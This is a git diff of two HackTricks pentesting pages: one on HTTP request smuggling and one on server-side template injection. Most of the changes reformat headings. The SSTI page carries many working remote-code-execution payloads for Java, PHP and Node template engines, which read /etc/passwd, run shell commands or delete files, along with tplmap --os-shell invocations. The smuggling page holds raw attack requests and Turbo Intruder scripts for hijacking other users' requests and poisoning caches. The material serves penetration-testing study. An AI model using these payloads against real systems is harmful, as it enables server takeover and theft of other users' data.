@@ -16,42 +16,43 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-## HTTP Request Smuggling / HTTP Desync Attack -### What is +# HTTP Request Smuggling / HTTP Desync Attack + +## What is This vulnerability occurs when a **desyncronization** between **front-end proxies** and the **back-end** server allows an **attacker** to **send** an HTTP **request** that will be **interpreted** as a **single request** by the **front-end** proxies (load balance/reverse-proxy) and **as 2 request** by the **back-end** server.\ This allows a user to **modify the next request that arrives to the back-end server after his**. -#### Theory +### Theory -[**RFC Specification (2161)**](https://tools.ietf.org/html/rfc2616) +#### [RFC Specification (2161)](https://tools.ietf.org/html/rfc2616) > If a message is received with both a Transfer-Encoding header field and a Content-Length header field, the latter MUST be ignored. -**Content-Length** +#### Content-Length > The Content-Length entity header indicates the size of the entity-body, in bytes, sent to the recipient. -**Transfer-Encoding: chunked** +#### Transfer-Encoding: chunked > The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.\ > Chunked means that large data is sent in a series of chunks -#### Reality +### Reality The **Front-End** (a load-balance / Reverse Proxy) **process** the _**content-length**_ or the _**transfer-encoding**_ header and the **Back-end** server **process the other** one provoking a **desyncronization** between the 2 systems.\ This could be very critical as **an attacker will be able to send one request** to the reverse proxy that will be **interpreted** by the **back-end** server **as 2 different requests**. The **danger** of this technique resides in the fact the **back-end** server **will interpret** the **2nd request injected** as if it **came from the next client** and the **real request** of that client will be **part** of the **injected request**. -#### Particularities +### Particularities -Remember that in HTTP **a new line character is composed by 2 bytes:** +Remember that in HTTP **a new line character is composed by 2 bytes: `\r`** * **Content-Length**: This header uses a **decimal number** to indicate the **number** of **bytes** of the **body** of the request. The body is expected to end in the last character, **a new line is not needed in the end of the request**. -* **Transfer-Encoding:** This header uses in the **body** an **hexadecimal number** to indicate the **number** of **bytes** of the **next chunk**. The **chunk** must **end** with a **new line** but this new line **isn't counted** by the length indicator. This transfer method must end with a **chunk of size 0 followed by 2 new lines**: `0\r\n` +* **Transfer-Encoding:** This header uses in the **body** an **hexadecimal number** to indicate the **number** of **bytes** of the **next chunk**. The **chunk** must **end** with a **new line** but this new line **isn't counted** by the length indicator. This transfer method must end with a **chunk of size 0 followed by 2 new lines**: `0\r\n\r` * **Connection**: Based on my experience it's recommended to use **`Connection: keep-alive`** on the first request of the request Smuggling. -### Basic Examples +## Basic Examples So, request smuggling attacks involve placing both the `Content-Length` header and the `Transfer-Encoding` header into a single HTTP request and manipulating these so that the front-end and back-end servers process the request differently. The exact way in which this is done depends on the behaviour of the two servers: @@ -59,7 +60,7 @@ So, request smuggling attacks involve placing both the `Content-Length` header a * **TE.CL**: the front-end server uses the `Transfer-Encoding` header and the back-end server uses the `Content-Length` header. * **TE.TE**: the front-end and back-end servers both support the `Transfer-Encoding` header, but one of the servers can be induced not to process it by obfuscating the header in some way. -#### CL.TE vulnerabilities +### CL.TE vulnerabilities Here, the **front-end** server uses the **`Content-Length`** header and the **back-end** server uses the **`Transfer-Encoding`** header. We can perform a simple HTTP request smuggling attack as follows: @@ -72,9 +73,9 @@ Here, the **front-end** server uses the **`Content-Length`** header and the **ba `GET /404 HTTP/1.1`\ `Foo: x` -Note how `Content-Length` indicate the **bodies request length is 30 bytes long** (_remember that HTTP uses as new line, so 2bytes each new line_), so the reverse proxy **will send the complete request** to the back-end, and the back-end will process the `Transfer-Encoding` header leaving the `GET /404 HTTP/1.1` as the **begging of the next request** (BTW, the next request will be appended to `Foo:x`). +Note how `Content-Length` indicate the **bodies request length is 30 bytes long** (_remember that HTTP uses `\r` as new line, so 2bytes each new line_), so the reverse proxy **will send the complete request** to the back-end, and the back-end will process the `Transfer-Encoding` header leaving the `GET /404 HTTP/1.1` as the **begging of the next request** (BTW, the next request will be appended to `Foo:x`). -#### TE.CL vulnerabilities +### TE.CL vulnerabilities Here, the front-end server uses the `Transfer-Encoding` header and the back-end server uses the `Content-Length` header. We can perform a simple HTTP request smuggling attack as follows: @@ -88,12 +89,12 @@ Here, the front-end server uses the `Transfer-Encoding` header and the back-end `0`\ `\` -In this case the **reverse-proxy** will **send the hole request** to the **back-end** as the **`Transfer-encoding`** indicates so. But, the **back-end** is going to **process** only the **`7b`** (4bytes) as indicated in the `Content-Lenght` .Therefore, the next request will be the one starting by `GET /404 HTTP/1.1` +In this case the **reverse-proxy** will **send the hole request** to the **back-end** as the **`Transfer-encoding`** indicates so. But, the **back-end** is going to **process** only the **`7b\r`** (4bytes) as indicated in the `Content-Lenght` .Therefore, the next request will be the one starting by `GET /404 HTTP/1.1` -_Note that even if the attack must end with a `0\r\n` the following request is going to be appended as extra values of the **x** parameter._\ +_Note that even if the attack must end with a `0\r\n\r` the following request is going to be appended as extra values of the **x** parameter._\ _Also note that the Content-Length of the embedded request will indicate the length of the next request that is going to b appended to the **x** parameter. If it's too small, only a few bytes will be appended, and if to large (bigger that the length of the next request) and error will be thrown for the next request._ -#### TE.TE vulnerabilities +### TE.TE vulnerabilities Here, the front-end and back-end servers both support the `Transfer-Encoding` header, but one of the servers can be induced not to process it by obfuscating the header in some way.\ There are potentially endless ways to obfuscate the `Transfer-Encoding` header. For example: @@ -112,9 +113,9 @@ There are potentially endless ways to obfuscate the `Transfer-Encoding` header. Depending on the server (reverse-proxy or backing) that **stops processing** the **TE** header, you will find a **CL.TE vulnerability** or a **TE.CL vulnerability**. -### Finding HTTP Request Smuggling +## Finding HTTP Request Smuggling -#### Finding CL.TE vulnerabilities using timing techniques +### Finding CL.TE vulnerabilities using timing techniques If an application is vulnerable to the CL.TE variant of request smuggling, then sending a request like the following will often cause a time delay: @@ -138,7 +139,7 @@ And the response is a redirect containing an error inside the body with even the ![](<../../.gitbook/assets/image (443).png>) -#### Finding TE.CL vulnerabilities using timing techniques +### Finding TE.CL vulnerabilities using timing techniques If an application is vulnerable to the TE.CL variant of request smuggling, then sending a request like the following will often cause a time delay: @@ -152,13 +153,13 @@ If an application is vulnerable to the TE.CL variant of request smuggling, then Since the front-end server uses the `Transfer-Encoding` header, it will forward only part of this request, omitting the `X`. The back-end server uses the `Content-Length` header, expects more content in the message body, and waits for the remaining content to arrive. This will cause an observable time delay. -#### Probing HTTP Request Smuggling vulnerabilities +### Probing HTTP Request Smuggling vulnerabilities Once you have found that the **timing techniques are working** you need to **probe** that you can you can **alter others clients requests**.\ The easiest way to do this is to try to poison your own requests, **make a request for `/` return a 404 for example**.\ In the [Basic Examples](./#basic-examples) we already saw `CL.TE` and `TE.CL` examples of how to poison a clients request to ask for `/404` provoking a 404 response when the client was asking for any other resource. -**Notes** +#### **Notes** Some important considerations should be kept in mind when attempting to confirm request smuggling vulnerabilities via interference with other requests: @@ -168,7 +169,7 @@ Some important considerations should be kept in mind when attempting to confirm * In some applications, the front-end server functions as a load balancer, and forwards requests to different back-end systems according to some load balancing algorithm. If your "attack" and "normal" requests are forwarded to different back-end systems, then the attack will fail. This is an additional reason why you might need to try several times before a vulnerability can be confirmed. * If your attack succeeds in interfering with a subsequent request, but this wasn't the "normal" request that you sent to detect the interference, then this means that another application user was affected by your attack. If you continue performing the test, this could have a disruptive effect on other users, and you should exercise caution. -#### Forcing via hop-by-hop headers +### Forcing via hop-by-hop headers Abusing hop-by-hop headers you could indicate the proxy to **delete the header Content-Length or Transfer-Encoding so a HTTP request smuggling is possible to abuse**. @@ -182,13 +183,13 @@ For **more information about hop-by-hop headers** visit: [abusing-hop-by-hop-headers.md](../abusing-hop-by-hop-headers.md) {% endcontent-ref %} -### Abusing HTTP Request Smuggling +## Abusing HTTP Request Smuggling -#### To bypass front-end security controls +### To bypass front-end security controls Some times the **front-end proxies will perform some security checks**. You can avoid them by abusing HTTP Request Smuggling as you will be able to **bypass the protections**. For example, in this example you **cannot access `/admin` from the outside** and the front-end proxy is checking that, but this **proxy isn't checking the embedded request**: -**CL.TE** +#### CL.TE `POST / HTTP/1.1`\ `Host: acb21fdd1f98c4f180c02944000100b5.web-security-academy.net`\ @@ -204,7 +205,7 @@ Some times the **front-end proxies will perform some security checks**. You can \`\`\ `x=` -**TE.CL** +#### TE.CL `POST / HTTP/1.1`\ `Host: ace71f491f52696180f41ed100d000d4.web-security-academy.net`\ @@ -220,7 +221,7 @@ Some times the **front-end proxies will perform some security checks**. You can `0`\ `\` -#### Revealing front-end request rewriting +### Revealing front-end request rewriting In many applications, the **front-end server performs some rewriting of requests** before they are forwarded to the back-end server, typically by adding some additional request headers.\ One common thing to do is to **add to the request the header** `X-Forwarded-For: ` or some similar header so the back-end knows the IP of the client.\ @@ -240,11 +241,11 @@ For discovering how is the proxy rewriting the request you need to **find a POST In this case the next request will be appended after `search=` which is also **the parameter whose value is going to be reflected** on the response, therefore it's going to **reflect the headers of the next request**. Note that **only the length indicated in the `Content-Length` header of the embedded request is going to be reflected**. If you use a low number, only a few bytes will be reflected, if you use a bigger number than the length of all the headers, then the embedded request will throw and error. Then, you should **start** with a **small number** and **increase** it until you see all you wanted to see.\ -Note also that this **technique is also exploitable with a TE.CL** vulnerability but the request must end with `search=\r\n0\r\n`. However, independently of the new line characters the values are going to be appended to the search parameter. +Note also that this **technique is also exploitable with a TE.CL** vulnerability but the request must end with `search=\r\n0\r\n\r`. However, independently of the new line characters the values are going to be appended to the search parameter. Finally note that in this attack we are still attacking ourselves to learn how the front-end proxy is rewriting the request. -#### Capturing other users' requests +### Capturing other users' requests If you can find a POST request which is going to save the contents of one of the parameters you can append the following request as the value of that parameter in order to store the quest of the next client: @@ -268,9 +269,9 @@ In this case, the value of the **parameter comment** is going to be **saved insi _One limitation with this technique is that it will generally only capture data up until the parameter delimiter that is applicable for the smuggled request. For URL-encoded form submissions, this will be the `&` character, meaning that the content that is stored from the victim user's request will end at the first `&`, which might even appear in the query string._ -Note also that this **technique is also exploitable with a TE.CL** vulnerability but the request must end with `search=\r\n0\r\n`. However, independently of the new line characters the values are going to be appended to the search parameter. +Note also that this **technique is also exploitable with a TE.CL** vulnerability but the request must end with `search=\r\n0\r\n\r`. However, independently of the new line characters the values are going to be appended to the search parameter. -#### Using HTTP request smuggling to exploit reflected XSS +### Using HTTP request smuggling to exploit reflected XSS If the web page is also **vulnerable to Reflected XSS**, you can abuse HTTP Request Smuggling to attack clients of the web. The exploitation of Reflected XSS from HTTP Request Smuggling have some advantages: @@ -296,7 +297,7 @@ If a web is vulnerable to Reflected XSS on the User-Agent header you can use thi \`\`\ `A=` -#### Using HTTP request smuggling to turn an on-site redirect into an open redirect +### Using HTTP request smuggling to turn an on-site redirect into an open redirect Many applications perform on-site redirects from one URL to another and place the hostname from the request's `Host` header into the redirect URL. An example of this is the default behavior of Apache and IIS web servers, where a request for a folder without a trailing slash receives a redirect to the same folder including the trailing slash: @@ -330,7 +331,7 @@ The smuggled request will trigger a redirect to the attacker's website, which wi Here, the user's request was for a JavaScript file that was imported by a page on the web site. The attacker can fully compromise the victim user by returning their own JavaScript in the response. -#### Using HTTP request smuggling to perform web cache poisoning +### Using HTTP request smuggling to perform web cache poisoning If any part of the **front-end infrastructure performs caching of content** (generally for performance reasons) the it **might be possible to poison that cache modifying the response of the server**. @@ -360,7 +361,7 @@ Then, **after poisoning the socket**, you need to send a **GET request** to \*\* The next time that somebody ask for `/static/include.js` the cached contents of the attackers script will be server (general XSS). -#### Using HTTP request smuggling to perform web cache deception +### Using HTTP request smuggling to perform web cache deception > **What is the difference between web cache poisoning and web cache deception?** > @@ -381,7 +382,7 @@ In this variant, the attacker smuggles a request that returns some sensitive use If the **poison reaches a client that was accessing some static content** like `/someimage.png` that was going to be **cached**. The contents of `/private/messages` of the victim will be cached in `/someimage.png` and the attacker will be able to steal them.\ Note that the **attacker doesn't know which static content the victim was trying to access** so probably the best way to test this is to perform the attack, wait a few seconds and **load all** the static contents and **search for the private data**. -#### Weaponizing HTTP Request Smuggling with HTTP Response Desynchronisation +### Weaponizing HTTP Request Smuggling with HTTP Response Desynchronisation Have you found some HTTP Request Smuggling vulnerability and you don't know how to exploit it. Try these other method of exploitation: @@ -389,9 +390,9 @@ Have you found some HTTP Request Smuggling vulnerability and you don't know how [http-response-smuggling-desync.md](../http-response-smuggling-desync.md) {% endcontent-ref %} -### Turbo intruder scripts +## Turbo intruder scripts -#### CL.TE +### CL.TE From [https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor) @@ -434,7 +435,7 @@ def handleResponse(req, interesting): table.add(req) ``` -#### TE.CL +### TE.CL From: [https://hipotermia.pw/bb/http-desync-account-takeover](https://hipotermia.pw/bb/http-desync-account-takeover) @@ -480,13 +481,13 @@ def handleResponse(req, interesting): table.add(req) ``` -### More info +## More info ![](../../.gitbook/assets/EKi5edAUUAAIPIK.jpg) [Image from here.](https://twitter.com/SpiderSec/status/1200413390339887104?ref\_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104\&ref\_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104) -### Tools +## Tools * [https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling) * [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler) @@ -494,7 +495,7 @@ def handleResponse(req, interesting): * [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler) * [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): This tool is a grammar-based HTTP Fuzzer useful to find weird request smuggling discrepancies. -### References +## References * [https://portswigger.net/web-security/request-smuggling](https://portswigger.net/web-security/request-smuggling) * [https://portswigger.net/web-security/request-smuggling/finding](https://portswigger.net/web-security/request-smuggling/finding) @@ -504,6 +505,7 @@ def handleResponse(req, interesting): * [https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html](https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html) * [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/) +
Support HackTricks and get benefits! @@ -519,3 +521,5 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
+ + diff --git a/pentesting-web/ssti-server-side-template-injection/README.md b/pentesting-web/ssti-server-side-template-injection/README.md index 2d30c75c..3df7eb48 100644 --- a/pentesting-web/ssti-server-side-template-injection/README.md +++ b/pentesting-web/ssti-server-side-template-injection/README.md @@ -1,4 +1,4 @@ -# SSTI (Server Side Template Injection) +
@@ -16,9 +16,10 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-## SSTI (Server Side Template Injection) -### What is server-side template injection? +# SSTI (Server Side Template Injection) + +## What is server-side template injection? A server-side template injection occurs when an attacker is able to use native template syntax to inject a malicious payload into a template, which is then executed server-side. @@ -36,17 +37,17 @@ In the previous example **part of the template** itself is being **dynamically g http://vulnerable-website.com/?name={{bad-stuff-here}} ``` -### Constructing a server-side template injection attack +## Constructing a server-side template injection attack ![](../../.gitbook/assets/ssti-methodology-diagram.png) -#### Detect +### Detect As with any vulnerability, the first step towards exploitation is being able to find it. Perhaps the simplest initial approach is to try **fuzzing the template** by injecting a sequence of special characters commonly used in template expressions, such as the polyglot **`${{<%[%'"}}%\`.**\ In order to check if the server is vulnerable you should **spot the differences** between the response with **regular data** on the parameter and the **given payload**.\ If an **error is thrown** it will be quiet easy to figure out that **the server is vulnerable** and even which **engine is running**. But you could also find a vulnerable server if you were **expecting** it to **reflect** the given payload and it is **not being reflected** or if there are some **missing chars** in the response. -**Detect - Plaintext context** +#### Detect - Plaintext context The given input is being **rendered and reflected** into the response. This is easily **mistaken for a simple** [**XSS**](../xss-cross-site-scripting/) vulnerability, but it's easy to differentiate if you try to set **mathematical operations** within a template expression: @@ -58,7 +59,7 @@ ${{7*7}} #{7*7} ``` -**Detect - Code context** +#### Detect - Code context In these cases the **user input** is being placed **within** a **template expression**: @@ -71,7 +72,7 @@ The URL access that page could be similar to: `http://vulnerable-website.com/?gr If you **change** the **`greeting`** parameter for a **different value** the **response won't contain the username**, but if you access something like: `http://vulnerable-website.com/?greeting=data.username}}hello` then, **the response will contain the username** (if the closing template expression chars were **`}}`**).\ If an **error** is thrown during these test, it will be easier to find that the server is vulnerable. -#### Identify +### Identify Once you have detected the template injection potential, the next step is to identify the template engine.\ Although there are a huge number of templating languages, many of them use very similar syntax that is specifically chosen not to clash with HTML characters. @@ -88,9 +89,9 @@ Otherwise, you'll need to manually **test different language-specific payloads** ![](<../../.gitbook/assets/image (272).png>) -#### Exploit +### Exploit -**Read** +#### Read The first step after finding template injection and identifying the template engine is to read the documentation. Key areas of interest are: @@ -99,7 +100,7 @@ The first step after finding template injection and identifying the template eng * Lists of builtin methods, functions, filters, and variables. * Lists of extensions/plugins - some may be enabled by default. -**Explore** +#### Explore Assuming no exploits have presented themselves, the next step is to **explore the environment** to find out exactly what **you have access to**. You can expect to find both **default objects** provided by the template engine, and **application-specific objects** passed in to the template by the developer. Many template systems expose a 'self' or namespace object containing everything in scope, and an idiomatic way to list an object's attributes and methods. @@ -107,13 +108,13 @@ If there's no builtin self object you're going to have to bruteforce variable na Developer-supplied objects are particularly likely to contain sensitive information, and may vary between different templates within an application, so this process should ideally be applied to every distinct template individually. -**Attack** +#### **Attack** At this point you should have a **firm idea of the attack surface available** to you and be able to proceed with traditional security audit techniques, reviewing each function for exploitable vulnerabilities. It's important to approach this in the context of the wider application - some functions can be used to exploit application-specific features. The examples to follow will use template injection to trigger arbitrary object creation, arbitrary file read/write, remote file include, information disclosure and privilege escalation vulnerabilities. -### Tools +## Tools -#### [Tplmap](https://github.com/epinna/tplmap) +### [Tplmap](https://github.com/epinna/tplmap) ```python python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell @@ -121,17 +122,17 @@ python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomm python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade ``` -### Exploits +## Exploits -#### Generic +### Generic In this **wordlist** you can find **variables defined** in the environments of some of the engines mentioned below: * [https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt) -#### Java +### Java -**Java - Basic injection** +#### Java - Basic injection ```java ${7*7} @@ -141,13 +142,13 @@ ${class.getResource("").getPath()} ${class.getResource("../../../../../index.htm").getContent()} ``` -**Java - Retrieve the system’s environment variables** +#### Java - Retrieve the system’s environment variables ```java ${T(java.lang.System).getenv()} ``` -**Java - Retrieve /etc/passwd** +#### Java - Retrieve /etc/passwd ```java ${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')} @@ -155,7 +156,7 @@ ${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')} ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())} ``` -#### FreeMarker (Java) +### FreeMarker (Java) You can try your payloads at [https://try.freemarker.apache.org](https://try.freemarker.apache.org) @@ -173,7 +174,7 @@ ${"freemarker.template.utility.Execute"?new()("id")} ${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")} ``` -**Freemarker - Sandbox bypass** +#### Freemarker - Sandbox bypass ⚠️ only works on Freemarker versions below 2.3.30 @@ -185,12 +186,12 @@ ${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI() ${dwf.newInstance(ec,null)("id")} ``` -**More information** +#### More information * In FreeMarker section of [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker) -#### Velocity (Java) +### Velocity (Java) ```java #set($str=$class.inspect("java.lang.String").type) @@ -203,12 +204,12 @@ $str.valueOf($chr.toChars($out.read())) #end ``` -**More information** +#### More information * In Velocity section of [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity) -#### Thymeleaf (Java) +### Thymeleaf (Java) The typical test expression for SSTI is `${7*7}`. This expression works in Thymeleaf, too. If you want to achieve remote code execution, you can use one of the following test expressions: @@ -225,7 +226,7 @@ If we take a deeper look into the documentation of the Thymeleaf template engine #{selection.__${sel.code}__} ``` -**Vulnerable example** +#### Vulnerable example ```markup @@ -234,11 +235,11 @@ http://localhost:8082/(7*7) http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')}) ``` -**More information** +#### More information * [https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/](https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/) -#### Spring View Manipulation (Java) +### Spring View Manipulation (Java) ```java __${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x @@ -247,7 +248,7 @@ __${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x [https://github.com/veracode-research/spring-view-manipulation](https://github.com/veracode-research/spring-view-manipulation) -#### Pebble (Java) +### Pebble (Java) * `{{ someString.toUPPERCASE() }}` @@ -266,7 +267,6 @@ New version of Pebble : - {% set bytes = (1).TYPE .forName('java.lang.Runtime') .methods[6] @@ -280,7 +280,7 @@ New version of Pebble : .newInstance(([bytes]).toArray()) }} ``` -#### Jinjava (Java) +### Jinjava (Java) ```java {{'a'.toUpperCase()}} would result in 'A' @@ -289,7 +289,7 @@ New version of Pebble : Jinjava is an open source project developed by Hubspot, available at [https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/) -**Jinjava - Command execution** +#### Jinjava - Command execution Fixed by [https://github.com/HubSpot/jinjava/pull/230](https://github.com/HubSpot/jinjava/pull/230) @@ -303,11 +303,11 @@ Fixed by [https://github.com/HubSpot/jinjava/pull/230](https://github.com/HubSpo {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}} ``` -**More information** +#### More information * [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinjava](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinjava) -#### Hubspot - HuBL (Java) +### Hubspot - HuBL (Java) * `{% %}` statement delimiters * `{{ }}` expression delimiters @@ -336,7 +336,6 @@ Search for "com.hubspot.content.hubl.context.TemplateContextRequest" and discove //It was also possible to call methods on the created object by combining the - {% raw %} {% %} and {{ }} blocks {% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %} @@ -362,11 +361,11 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc //Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux ``` -**More information** +#### More information * [https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html](https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html) -#### Expression Language - EL (Java) +### Expression Language - EL (Java) * `${"aaaa"}` - "aaaa" * `${99999+1}` - 100000. @@ -381,7 +380,7 @@ Check the following page to learn more about the **exploitation of EL interprete [el-expression-language.md](el-expression-language.md) {% endcontent-ref %} -#### Smarty (PHP) +### Smarty (PHP) ```php {$smarty.version} @@ -391,12 +390,12 @@ Check the following page to learn more about the **exploitation of EL interprete {system('cat index.php')} // compatible v3 ``` -**More information** +#### More information * In Smarty section of [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty) -#### Twig (PHP) +### Twig (PHP) * `{{7*7}} = 49` * `${7*7} = ${7*7}` @@ -423,7 +422,7 @@ Check the following page to learn more about the **exploitation of EL interprete {{['cat$IFS/etc/passwd']|filter('system')}} ``` -**Twig - Template format** +#### Twig - Template format ```php $output = $twig > render ( @@ -437,12 +436,12 @@ $output = $twig > render ( ); ``` -**More information** +#### More information * In Twig and Twig (Sandboxed) section of [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig) -#### Jade (NodeJS) +### Jade (NodeJS) ```javascript - var x = root.process @@ -455,12 +454,12 @@ $output = $twig > render ( #{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout} ``` -**More information** +#### More information * In Jade section of [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen) -#### Handlebars (NodeJS) +### Handlebars (NodeJS) Path Traversal (more info [here](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)). @@ -497,11 +496,11 @@ URLencoded: %7b%7b%23%77%69%74%68%20%22%73%22%20%61%73%20%7c%73%74%72%69%6e%67%7c%7d%7d%0d%0a%20%20%7b%7b%23%77%69%74%68%20%22%65%22%7d%7d%0d%0a%20%20%20%20%7b%7b%23%77%69%74%68%20%73%70%6c%69%74%20%61%73%20%7c%63%6f%6e%73%6c%69%73%74%7c%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%28%6c%6f%6f%6b%75%70%20%73%74%72%69%6e%67%2e%73%75%62%20%22%63%6f%6e%73%74%72%75%63%74%6f%72%22%29%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%73%74%72%69%6e%67%2e%73%70%6c%69%74%20%61%73%20%7c%63%6f%64%65%6c%69%73%74%7c%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%22%72%65%74%75%72%6e%20%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%72%6d%20%2f%68%6f%6d%65%2f%63%61%72%6c%6f%73%2f%6d%6f%72%61%6c%65%2e%74%78%74%27%29%3b%22%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%23%65%61%63%68%20%63%6f%6e%73%6c%69%73%74%7d%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%28%73%74%72%69%6e%67%2e%73%75%62%2e%61%70%70%6c%79%20%30%20%63%6f%64%65%6c%69%73%74%29%7d%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%7d%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%2f%65%61%63%68%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%7b%7b%2f%77%69%74%68%7d%7d ``` -**More information** +#### More information * [http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html](http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html) -#### JsRender (NodeJS) +### JsRender (NodeJS) | **Template** | **Description** | | ------------ | --------------------------------------- | @@ -512,40 +511,40 @@ URLencoded: * \= 49 -**Client Side** +#### Client Side ```python {{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}} ``` -**Server Side** +#### Server Side ```bash {{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}} ``` -**More information** +#### More information * 